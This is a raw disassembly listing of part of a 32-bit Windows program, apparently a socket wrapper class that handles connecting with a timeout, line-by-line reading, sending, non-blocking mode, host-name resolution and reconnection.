		push	eax
		jmp	short loc_41A8B6
; ---------------------------------------------------------------------------


loc_41A8A4:				; CODE XREF: sub_41A7D0+C2j
		lea	ecx, [esp+128h+var_11C]
		lea	edx, [esp+128h+var_114]
		push	ecx
		mov	[esp+12Ch+var_11C], 10h
		push	edx


loc_41A8B6:				; CODE XREF: sub_41A7D0+D2j
		mov	eax, [esi+806h]
		push	eax
		call	near ptr 71AC1028h
		nop
		cmp	eax, 0FFFFFFFFh
		mov	[esp+128h+var_120], eax
		jnz	short loc_41A8D9
		pop	edi
		xor	al, al
		pop	esi
		add	esp, 120h
		retn	0Ch
; ---------------------------------------------------------------------------


loc_41A8D9:				; CODE XREF: sub_41A7D0+FAj
		mov	esi, [esp+128h+arg_0]
		lea	ecx, [esp+128h+var_120]
		push	ecx
		mov	ecx, esi
		call	sub_402108
		mov	dl, [esp+128h+arg_8]
		pop	edi
		mov	[esi+80Dh], dl
		mov	al, 1
		pop	esi
		add	esp, 120h
		retn	0Ch
sub_41A7D0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A960	proc near		; CODE XREF: sub_402108j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	edx, [eax]
		mov	[ecx+806h], edx
		mov	edx, [eax]
		cmp	edx, 0FFFFFFFFh
		setnz	al
		mov	[ecx+80Bh], al
		retn	4
sub_41A960	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A990	proc near		; CODE XREF: sub_40196Fj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		mov	edx, [esp+arg_4]
		push	eax
		mov	eax, [esp+4+arg_0]
		push	0
		push	edx
		push	eax
		call	sub_401B4F
		retn	0Ch
sub_41A990	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A9C0	proc near		; CODE XREF: sub_401B4Fj

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_208		= dword	ptr -208h
var_204		= dword	ptr -204h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		sub	esp, 210h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		cmp	dword ptr [esi+806h], 0FFFFFFFFh
		jz	loc_41AB24
		mov	al, [esi+80Bh]
		test	al, al
		jz	loc_41AB24
		mov	edi, dword_5118AC
		call	edi
		mov	ebp, eax
		mov	al, [esi+80Dh]
		test	al, al
		jnz	loc_41AABC
		mov	ebx, [esp+220h+arg_8]
		test	ebx, ebx
		jz	loc_41AABC
		call	sub_40196A
		test	al, al
		jz	loc_41AABC


loc_41AA1B:				; CODE XREF: sub_41A9C0+F6j
		mov	eax, [esi+806h]
		mov	ecx, 1
		mov	[esp+220h+var_100], eax
		mov	[esp+220h+var_104], ecx
		mov	[esp+220h+var_204], eax
		mov	[esp+220h+var_208], ecx
		mov	[esp+220h+var_210], 0
		mov	[esp+220h+var_20C], 64h
		call	edi
		sub	eax, ebp
		cmp	eax, ebx
		ja	loc_41AB24
		lea	eax, [esp+220h+var_210]
		lea	ecx, [esp+220h+var_208]
		push	eax
		mov	eax, [esi+806h]
		push	ecx
		lea	edx, [esp+228h+var_104]
		push	0
		inc	eax
		push	edx
		push	eax
		nop
		call	near ptr 71AB2DC0h
		test	eax, eax
		jz	short loc_41AAAF
		mov	edx, [esi+806h]
		lea	ecx, [esp+220h+var_208]
		push	ecx
		push	edx
		call	sub_438256
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	loc_41AB24
		mov	ecx, [esi+806h]
		lea	eax, [esp+220h+var_104]
		push	eax
		push	ecx
		call	sub_438256
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_41AABC


loc_41AAAF:				; CODE XREF: sub_41A9C0+BCj
		call	sub_40196A
		test	al, al
		jnz	loc_41AA1B


loc_41AABC:				; CODE XREF: sub_41A9C0+39j
					; sub_41A9C0+48j ...
		call	sub_40196A
		test	al, al
		jz	short loc_41AB24
		mov	edx, [esp+220h+arg_4]
		mov	eax, [esp+220h+arg_0]
		mov	ecx, [esi+806h]
		push	0
		push	edx
		push	eax
		push	ecx
		nop
		call	near ptr 71AB615Ah
		mov	ecx, [esp+220h+arg_C]
		test	ecx, ecx
		jz	short loc_41AAF1
		mov	[ecx], eax


loc_41AAF1:				; CODE XREF: sub_41A9C0+12Dj
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41AB09
		test	eax, eax
		jz	short loc_41AB09
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 210h
		retn	10h
; ---------------------------------------------------------------------------


loc_41AB09:				; CODE XREF: sub_41A9C0+134j
					; sub_41A9C0+138j
		nop
		call	near ptr 71AB94DCh
		pop	edi
		cmp	eax, 2733h
		pop	esi
		pop	ebp
		setz	al
		pop	ebx
		add	esp, 210h
		retn	10h
; ---------------------------------------------------------------------------


loc_41AB24:				; CODE XREF: sub_41A9C0+13j
					; sub_41A9C0+21j ...
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 210h
		retn	10h
sub_41A9C0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 60h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41ABA0:				; CODE XREF: ___:00401622j
		mov	eax, [ecx+806h]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41ABF1
		mov	dl, [ecx+80Bh]
		test	dl, dl
		jz	short loc_41ABF1
		mov	ecx, [esp+8]
		mov	edx, [esp+4]
		push	0
		push	ecx
		push	edx
		push	eax
		call	near ptr 71AB428Ah
		nop
		mov	ecx, [esp+0Ch]
		test	ecx, ecx
		jz	short loc_41ABD2
		mov	[ecx], eax


loc_41ABD2:				; CODE XREF: ___:0041ABCEj
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41ABE0
		test	eax, eax
		jz	short loc_41ABE0
		mov	al, 1
		retn	0Ch
; ---------------------------------------------------------------------------


loc_41ABE0:				; CODE XREF: ___:0041ABD5j
					; ___:0041ABD9j
		nop
		call	near ptr 71AB94DCh
		cmp	eax, 2733h
		setz	al
		retn	0Ch
; ---------------------------------------------------------------------------


loc_41ABF1:				; CODE XREF: ___:0041ABA9j
					; ___:0041ABB3j
		xor	al, al
		retn	0Ch
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41AC20:				; CODE XREF: ___:004019BFj
		push	ecx
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+10h], esi
		call	sub_40196A
		test	al, al
		jnz	short loc_41AC3C
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------


loc_41AC3C:				; CODE XREF: ___:0041AC32j
		mov	al, [esi+80Bh]
		xor	ebx, ebx
		cmp	al, bl
		jnz	short loc_41AC52


loc_41AC48:				; CODE XREF: ___:0041AC8Dj
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------


loc_41AC52:				; CODE XREF: ___:0041AC46j
		mov	eax, [esp+1Ch]
		mov	ebp, [esp+18h]
		xor	esi, esi
		dec	eax
		cmp	eax, ebx
		mov	[ebp+0], bl
		mov	byte ptr [esp+18h], 1
		jle	short loc_41ACB6
		mov	edi, ebp


loc_41AC6B:				; CODE XREF: ___:0041ACB4j
		cmp	edi, ebx
		jz	short loc_41ACB6
		cmp	[esp+18h], bl
		jz	short loc_41ACB6
		call	sub_40196A
		test	al, al
		jz	short loc_41ACB6
		mov	ecx, [esp+10h]
		push	ebx
		push	1
		push	edi
		call	sub_40196F
		test	al, al
		jz	short loc_41AC48
		mov	[esi+ebp+1], bl
		mov	al, [edi]
		cmp	al, 0Ah
		jz	short loc_41ACA1
		cmp	al, 0Dh
		jz	short loc_41ACA1
		cmp	al, bl
		jnz	short loc_41ACA9


loc_41ACA1:				; CODE XREF: ___:0041AC97j
					; ___:0041AC9Bj
		mov	[esi+ebp-1], bl
		mov	[esp+18h], bl


loc_41ACA9:				; CODE XREF: ___:0041AC9Fj
		mov	ecx, [esp+1Ch]
		inc	esi
		inc	edi
		lea	eax, [ecx-1]
		cmp	esi, eax
		jl	short loc_41AC6B


loc_41ACB6:				; CODE XREF: ___:0041AC67j
					; ___:0041AC6Dj ...
		mov	edx, [esp+1Ch]
		pop	edi
		pop	esi
		mov	al, 1
		mov	[edx+ebp-1], bl
		pop	ebp
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41AD00:				; CODE XREF: ___:004021A3j
		push	ecx
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+10h], esi
		call	sub_40196A
		test	al, al
		jnz	short loc_41AD1C
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------


loc_41AD1C:				; CODE XREF: ___:0041AD12j
		mov	al, [esi+80Bh]
		xor	ebx, ebx
		cmp	al, bl
		jnz	short loc_41AD32


loc_41AD28:				; CODE XREF: ___:0041AD6Dj
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------


loc_41AD32:				; CODE XREF: ___:0041AD26j
		mov	eax, [esp+1Ch]
		mov	ebp, [esp+18h]
		xor	esi, esi
		dec	eax
		cmp	eax, ebx
		mov	[ebp+0], bl
		mov	byte ptr [esp+18h], 1
		jle	short loc_41AD9D
		mov	edi, ebp


loc_41AD4B:				; CODE XREF: ___:0041AD9Bj
		cmp	edi, ebx
		jz	short loc_41AD9D
		cmp	[esp+18h], bl
		jz	short loc_41AD9D
		call	sub_40196A
		test	al, al
		jz	short loc_41AD9D
		mov	ecx, [esp+10h]
		push	ebx
		push	1
		push	edi
		call	sub_40196F
		test	al, al
		jz	short loc_41AD28
		mov	[esi+ebp+1], bl
		mov	al, [edi]
		cmp	al, 0Ah
		jz	short loc_41AD7D
		cmp	al, bl
		jnz	short loc_41AD90


loc_41AD7D:				; CODE XREF: ___:0041AD77j
		cmp	byte ptr [esi+ebp-1], 0Dh
		jnz	short loc_41AD8A
		mov	[esi+ebp-1], bl
		jmp	short loc_41AD8C
; ---------------------------------------------------------------------------


loc_41AD8A:				; CODE XREF: ___:0041AD82j
		mov	[edi], bl


loc_41AD8C:				; CODE XREF: ___:0041AD88j
		mov	[esp+18h], bl


loc_41AD90:				; CODE XREF: ___:0041AD7Bj
		mov	ecx, [esp+1Ch]
		inc	esi
		inc	edi
		lea	eax, [ecx-1]
		cmp	esi, eax
		jl	short loc_41AD4B


loc_41AD9D:				; CODE XREF: ___:0041AD47j
					; ___:0041AD4Dj ...
		mov	edx, [esp+1Ch]
		pop	edi
		pop	esi
		mov	al, 1
		mov	[edx+ebp-1], bl
		pop	ebp
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41ADE0:				; CODE XREF: ___:00401082j
		push	esi
		mov	esi, ecx
		call	sub_40196A
		test	al, al
		jnz	short loc_41ADF2
		xor	eax, eax
		pop	esi
		retn	8
; ---------------------------------------------------------------------------


loc_41ADF2:				; CODE XREF: ___:0041ADEAj
		mov	eax, [esi+806h]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41AE03
		xor	eax, eax
		pop	esi
		retn	8
; ---------------------------------------------------------------------------


loc_41AE03:				; CODE XREF: ___:0041ADFBj
		mov	ecx, [esp+0Ch]
		mov	edx, [esp+8]
		push	ecx
		push	edx
		push	eax
		call	near ptr 71AB951Eh
		nop
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41AE30	proc near		; CODE XREF: sub_4018A2j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		call	sub_40196A
		test	al, al
		jnz	short loc_41AE42
		xor	eax, eax
		pop	esi
		retn	8
; ---------------------------------------------------------------------------


loc_41AE42:				; CODE XREF: sub_41AE30+Aj
		mov	eax, [esi+806h]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41AE53
		xor	eax, eax
		pop	esi
		retn	8
; ---------------------------------------------------------------------------


loc_41AE53:				; CODE XREF: sub_41AE30+1Bj
		mov	ecx, [esp+4+arg_4]
		mov	edx, [esp+4+arg_0]
		push	ecx
		push	edx
		push	eax
		nop
		call	near ptr 71AC0B50h
		pop	esi
		retn	8
sub_41AE30	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41AE80:				; CODE XREF: ___:00401C53j
		sub	esp, 10Ch
		push	esi
		mov	esi, ecx
		xor	ecx, ecx
		mov	al, [esi+80Ch]
		cmp	al, cl
		mov	eax, [esi+806h]
		jnz	short loc_41AEBF
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41AEB5
		cmp	[esi+80Bh], cl
		jz	short loc_41AEB5
		mov	eax, 1
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_41AEB5:				; CODE XREF: ___:0041AE9Ej
					; ___:0041AEA6j
		xor	eax, eax
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_41AEBF:				; CODE XREF: ___:0041AE99j
		lea	edx, [esp+4]
		mov	[esp+10h], eax
		push	edx
		lea	edx, [esp+10h]
		push	ecx
		push	edx
		inc	eax
		push	ecx
		push	eax
		mov	dword ptr [esp+20h], 1
		mov	[esp+18h], ecx
		mov	[esp+1Ch], ecx
		call	near ptr 71AB2DC0h
		nop
		test	eax, eax
		jnz	short loc_41AEF5
		xor	al, al
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_41AEF5:				; CODE XREF: ___:0041AEE9j
		mov	ecx, [esi+806h]
		lea	eax, [esp+0Ch]
		push	eax
		push	ecx
		call	sub_438256
; ---------------------------------------------------------------------------
		test	eax, eax
		setnz	al
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41AF50:				; CODE XREF: ___:004016EFj
		sub	esp, 10Ch
		push	esi
		mov	esi, ecx
		xor	ecx, ecx
		cmp	[esi+80Ch], cl
		jnz	short loc_41AF6D
		xor	al, al
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_41AF6D:				; CODE XREF: ___:0041AF61j
		mov	eax, [esi+806h]
		lea	edx, [esp+4]
		push	edx
		lea	edx, [esp+10h]
		mov	[esp+14h], eax
		push	edx
		push	ecx
		inc	eax
		push	ecx
		push	eax
		mov	dword ptr [esp+20h], 1
		mov	[esp+18h], ecx
		mov	[esp+1Ch], ecx
		call	near ptr 71AB2DC0h
		nop
		test	eax, eax
		jnz	short loc_41AFA9
		xor	al, al
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_41AFA9:				; CODE XREF: ___:0041AF9Dj
		mov	ecx, [esi+806h]
		lea	eax, [esp+0Ch]
		push	eax
		push	ecx
		call	sub_438256
; ---------------------------------------------------------------------------
		test	eax, eax
		setnz	al
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41AFF0:				; CODE XREF: ___:00401744j
		push	esi
		mov	esi, [esp+8]
		push	edi
		mov	edi, ecx
		push	800h
		lea	edx, [esi+6]
		mov	ax, [edi+4]
		lea	ecx, [edi+6]
		push	ecx
		push	edx
		mov	[esi+4], ax
		call	near ptr 77C47A90h
		nop
		xor	al, al
		add	esp, 0Ch
		mov	dword ptr [esi+806h], 0FFFFFFFFh
		mov	[esi+80Ch], al
		mov	[esi+80Bh], al
		mov	al, [edi+80Dh]
		mov	[esi+80Dh], al
		pop	edi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B060	proc near		; CODE XREF: sub_4018CAj

arg_0		= dword	ptr  4

		mov	al, byte ptr [esp+arg_0]
		test	al, al
		mov	[ecx+80Ch], al
		jz	short loc_41B090
		mov	ecx, [ecx+806h]
		lea	eax, [esp+arg_0]
		push	eax
		push	8004667Eh
		push	ecx
		mov	[esp+0Ch+arg_0], 1
		nop
		call	near ptr 71AB4519h
		retn	4
; ---------------------------------------------------------------------------


loc_41B090:				; CODE XREF: sub_41B060+Cj
		mov	eax, [ecx+806h]
		lea	edx, [esp+arg_0]
		push	edx
		push	8004667Eh
		push	eax
		mov	[esp+0Ch+arg_0], 0
		nop
		call	near ptr 71AB4519h
		retn	4
sub_41B060	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B0E0	proc near		; CODE XREF: sub_401186j
		push	esi
		mov	esi, ecx
		push	0
		lea	ecx, [esi+4]
		call	sub_401C49
		mov	dword ptr [esi], offset	off_43F0C0
		mov	eax, esi
		pop	esi
		retn
sub_41B0E0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B110	proc near		; CODE XREF: ___:00401924j sub_401E92j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_40187A
		test	[esp+4+arg_0], 1
		jz	short loc_41B128
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_41B128:				; CODE XREF: sub_41B110+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_41B110	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B140	proc near		; CODE XREF: sub_40187Aj
		mov	dword ptr [ecx], offset	off_43F0C0
		add	ecx, 4
		jmp	sub_401FE6
sub_41B140	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B160	proc near		; CODE XREF: sub_401640j

arg_0		= dword	ptr  4

		push	esi
		push	edi
		call	sub_40196A
		test	al, al
		jnz	short loc_41B172
		pop	edi
		xor	eax, eax
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_41B172:				; CODE XREF: sub_41B160+9j
		mov	esi, [esp+8+arg_0]
		push	esi
		nop
		call	near ptr 71AB2BF4h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41B1C5
		push	esi
		call	near ptr 71AB4FD4h
		nop
		mov	edi, eax
		test	edi, edi
		jnz	short loc_41B197
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_41B197:				; CODE XREF: sub_41B160+2Dj
		mov	eax, [edi+0Ch]
		xor	esi, esi
		cmp	dword ptr [eax], 0
		jz	short loc_41B1AC


loc_41B1A1:				; CODE XREF: sub_41B160+4Aj
		mov	ecx, [eax+4]
		add	eax, 4
		inc	esi
		test	ecx, ecx
		jnz	short loc_41B1A1


loc_41B1AC:				; CODE XREF: sub_41B160+3Fj
		call	sub_401F0A
		dec	esi
		push	esi
		push	0
		call	sub_4021C6
; ---------------------------------------------------------------------------
		mov	ecx, [edi+0Ch]
		add	esp, 8
		mov	edx, [ecx+eax*4]
		mov	eax, [edx]


loc_41B1C5:				; CODE XREF: sub_41B160+20j
		pop	edi
		pop	esi
		retn	4
sub_41B160	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41B1F0:				; CODE XREF: ___:004020B3j
		push	0FFFFFFFFh
		push	offset loc_43C007
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 38h
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	[esp+0Ch], ebx
		call	sub_40196A
		test	al, al
		jnz	short loc_41B22F
		mov	eax, [esp+58h]
		mov	esi, [esp+54h]
		push	eax
		mov	ecx, esi
		call	sub_401870
		jmp	loc_41B3DB
; ---------------------------------------------------------------------------


loc_41B22F:				; CODE XREF: ___:0041B218j
		mov	ecx, [esp+58h]
		push	ecx
		lea	ecx, [esp+30h]
		call	sub_401870
		mov	edi, 1
		lea	ecx, [esp+2Ch]
		mov	[esp+4Ch], edi
		call	sub_4017EE
		test	eax, eax
		push	offset byte_448F40
		jnz	short loc_41B26C
		mov	esi, [esp+58h]
		mov	ecx, esi
		call	sub_401870
		mov	[esp+0Ch], edi
		jmp	loc_41B3CE
; ---------------------------------------------------------------------------


loc_41B26C:				; CODE XREF: ___:0041B256j
		lea	ecx, [esp+30h]
		call	sub_4012EE
		test	eax, eax
		push	offset byte_448F40
		jnz	short loc_41B292
		mov	esi, [esp+58h]
		mov	ecx, esi
		call	sub_401870
		mov	[esp+0Ch], edi
		jmp	loc_41B3CE
; ---------------------------------------------------------------------------


loc_41B292:				; CODE XREF: ___:0041B27Cj
		lea	ecx, [esp+18h]
		call	sub_401870
		lea	edx, [esp+10h]
		push	ebx
		push	edx
		push	ebx
		push	ebx
		push	0Fh
		lea	ecx, [esp+40h]
		mov	byte ptr [esp+60h], 2
		call	sub_4017EE
		push	eax
		call	sub_4382C2
; ---------------------------------------------------------------------------
		cmp	eax, ebx
		jz	short loc_41B2D6
		mov	esi, [esp+54h]
		lea	eax, [esp+14h]
		push	eax
		mov	ecx, esi
		call	sub_4014D3
		mov	[esp+0Ch], edi
		jmp	loc_41B3C0
; ---------------------------------------------------------------------------


loc_41B2D6:				; CODE XREF: ___:0041B2BBj
		mov	edi, [esp+10h]
		mov	esi, offset dword_4447F8
		mov	ecx, [edi]
		mov	eax, [ecx+4]


loc_41B2E4:				; CODE XREF: ___:0041B302j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_41B308
		cmp	cl, bl
		jz	short loc_41B304
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_41B308
		add	eax, 2
		add	esi, 2
		cmp	cl, bl
		jnz	short loc_41B2E4


loc_41B304:				; CODE XREF: ___:0041B2EEj
		xor	eax, eax
		jmp	short loc_41B30D
; ---------------------------------------------------------------------------


loc_41B308:				; CODE XREF: ___:0041B2EAj
					; ___:0041B2F8j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41B30D:				; CODE XREF: ___:0041B306j
		cmp	eax, ebx
		jz	short loc_41B37B
		push	ebp


loc_41B312:				; CODE XREF: ___:0041B365j
					; ___:0041B369j
		nop
		call	near ptr 27F0BB0h
		and	eax, 0Fh
		cmp	al, 8
		jnz	short loc_41B326
		cmp	word ptr [edi+8], 0Fh
		jz	short loc_41B36B


loc_41B326:				; CODE XREF: ___:0041B31Dj
		mov	edi, [edi]
		mov	ebp, [esp+14h]
		cmp	edi, ebx
		jnz	short loc_41B332
		mov	edi, ebp


loc_41B332:				; CODE XREF: ___:0041B32Ej
		mov	eax, [edi+4]
		mov	esi, offset dword_4447F8


loc_41B33A:				; CODE XREF: ___:0041B358j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_41B35E
		cmp	cl, bl
		jz	short loc_41B35A
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_41B35E
		add	eax, 2
		add	esi, 2
		cmp	cl, bl
		jnz	short loc_41B33A


loc_41B35A:				; CODE XREF: ___:0041B344j
		xor	eax, eax
		jmp	short loc_41B363
; ---------------------------------------------------------------------------


loc_41B35E:				; CODE XREF: ___:0041B340j
					; ___:0041B34Ej
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41B363:				; CODE XREF: ___:0041B35Cj
		cmp	eax, ebx
		jnz	short loc_41B312
		mov	edi, ebp
		jmp	short loc_41B312
; ---------------------------------------------------------------------------


loc_41B36B:				; CODE XREF: ___:0041B324j
		mov	eax, [edi+18h]
		lea	ecx, [esp+18h]
		push	eax
		call	sub_4015E1
		pop	ebp
		jmp	short loc_41B388
; ---------------------------------------------------------------------------


loc_41B37B:				; CODE XREF: ___:0041B30Fj
		mov	ecx, [edi+18h]
		push	ecx
		lea	ecx, [esp+18h]
		call	sub_4015E1


loc_41B388:				; CODE XREF: ___:0041B379j
		push	offset byte_448F40
		lea	ecx, [esp+18h]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_41B3A8
		mov	edx, [esp+58h]
		lea	ecx, [esp+14h]
		push	edx
		call	sub_4015E1


loc_41B3A8:				; CODE XREF: ___:0041B398j
		mov	esi, [esp+54h]
		lea	eax, [esp+14h]
		push	eax
		mov	ecx, esi
		call	sub_4014D3
		mov	dword ptr [esp+0Ch], 1


loc_41B3C0:				; CODE XREF: ___:0041B2D1j
		lea	ecx, [esp+14h]
		mov	byte ptr [esp+4Ch], 1
		call	sub_401226


loc_41B3CE:				; CODE XREF: ___:0041B267j
					; ___:0041B28Dj
		lea	ecx, [esp+2Ch]
		mov	[esp+4Ch], bl
		call	sub_401226


loc_41B3DB:				; CODE XREF: ___:0041B22Aj
		mov	ecx, [esp+44h]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 44h
		retn	8
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 90h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41B490:				; CODE XREF: ___:00402153j
		push	esi
		mov	esi, ecx
		call	sub_401E88
		push	0
		lea	ecx, [esi+15h]
		call	sub_401C49
		mov	dword ptr [esi], offset	off_43F0C4
		mov	dword ptr [esi+11h], 0
		mov	dword ptr [esi+823h], 0
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B4D0	proc near		; CODE XREF: sub_401406j ___:00402036j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401BE0
		test	[esp+4+arg_0], 1
		jz	short loc_41B4E8
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_41B4E8:				; CODE XREF: sub_41B4D0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_41B4D0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B500	proc near		; CODE XREF: sub_401BE0j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41B500
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_401FE6
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_40204F
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_41B500	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41B570:				; CODE XREF: ___:00401D52j
		push	esi
		mov	esi, ecx
		call	sub_401E88
		push	0
		lea	ecx, [esi+15h]
		call	sub_401C49
		mov	eax, [esp+8]
		mov	ecx, [esp+0Ch]
		mov	[esi+11h], eax
		mov	dword ptr [esi], offset	off_43F0C4
		mov	[esi+823h], ecx
		mov	eax, esi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B5B0	proc near		; CODE XREF: sub_401686j

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 14h
		push	edi
		mov	edi, ecx
		mov	eax, [edi+11h]
		test	eax, eax
		jz	loc_41B6C0
		mov	ecx, [edi+823h]
		test	ecx, ecx
		jz	loc_41B6C0
		push	ebx
		push	ebp
		lea	ebx, [edi+15h]
		push	esi
		push	eax
		mov	ecx, ebx
		xor	esi, esi
		call	sub_401492
		mov	ebp, dword_5118D8
		test	al, al
		jnz	short loc_41B613


loc_41B5E9:				; CODE XREF: sub_41B5B0+61j
		mov	al, [edi+10h]
		test	al, al
		jz	loc_41B6AF
		mov	al, byte_4E8E54
		test	al, al
		jz	short loc_41B613
		push	7D0h
		call	ebp
		mov	eax, [edi+11h]
		mov	ecx, ebx
		push	eax
		call	sub_401492
		test	al, al
		jz	short loc_41B5E9


loc_41B613:				; CODE XREF: sub_41B5B0+37j
					; sub_41B5B0+4Bj
		mov	al, [edi+10h]
		test	al, al
		jz	loc_41B6AF


loc_41B61E:				; CODE XREF: sub_41B5B0+F9j
		mov	al, byte_4E8E54
		test	al, al
		jz	loc_41B6AF
		test	esi, esi
		jnz	short loc_41B64E
		push	80Eh
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		test	eax, eax
		jz	short loc_41B64A
